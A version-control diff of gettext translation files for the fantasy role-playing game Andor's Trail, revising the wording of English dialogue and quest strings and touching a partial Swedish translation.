msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28976,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28992,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29010,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29030,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29042,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29234,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31154,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31210,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31222,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36222,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36254,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36262,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36278,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36838,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36858,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36869,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36877,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36894,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36990,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37716,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37724,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38131,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38148,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,31 @@
# Swedish translation for andors-trail
# Copyright (c) 2015 Rosetta Contributors and Canonical Ltd 2015
# This file is distributed under the same license as the andors-trail package.
# FIRST AUTHOR <EMAIL@ADDRESS>, 2015.
#
msgid ""
msgstr ""
"Project-Id-Version: andors-trail\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-11-10 11:48+0000\n"
"PO-Revision-Date: 2017-09-28 22:48+0000\n"
"Last-Translator: Anders Jonsson <anders.jonsson@norsjovallen.se>\n"
"Language-Team: Swedish <https://hosted.weblate.org/projects/andors-trail"
"/game-content/sv/>\n"
"Language: sv\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 2.17-dev\n"
"X-Launchpad-Export-Date: 2015-11-02 12:24+0000\n"
#: [none]
msgid "translator-credits"
msgstr ""
"Launchpad Contributions:\n"
" Arve Eriksson https://launchpad.net/~031299870-telia"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr "Välsigna"
@@ -2856,7 +2884,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4660,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5598,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr "Vad nu?"
@@ -6749,7 +6777,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr "Kan jag hjälpa på något sätt?"
@@ -7699,7 +7726,7 @@ msgstr "Å ja, vi har tur att han hittade dig. Förstår du, vi reser sällan s
#: conversationlist_blackwater_harlenn.json:harlenn_6
msgid "We spend most of our time in the settlement up here on the mountain."
msgstr "[REVIEW]För det mesta, så fördriver vi vår tid i bygden eller häruppe på berget."
msgstr "r det mesta, så fördriver vi vår tid i bygden eller häruppe på berget."
#: conversationlist_blackwater_harlenn.json:harlenn_7
msgid "However, recent events have forced us to send for help. We are lucky you found us."
@@ -9390,7 +9417,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9574,7 @@ msgid "Depends on what I get in return."
msgstr "Beror på vad jag får i gengäld."
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr "Jag försöker stå till tjänst när folk behöver hjälp."
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9612,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr "För en tid sedan, hade jag ett handelsavtal med en viss man vid namn Tinlyn, härborta vid denna Korsvägs vakthus."
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr "Vad saken gällde, kan jag inte avslöja för dig. Låt oss säga att våra affärer var av det slag så att det var av ömsesidigt fördel att vakterna inte visste om det."
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21520,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21804,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21822,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22311,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22336,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22352,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22362,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22392,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22401,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22434,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22446,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22502,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22510,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22522,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22659,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22668,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22693,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22729,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22944,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23046,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23081,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24314,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24496,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26203,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26211,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26272,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26306,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
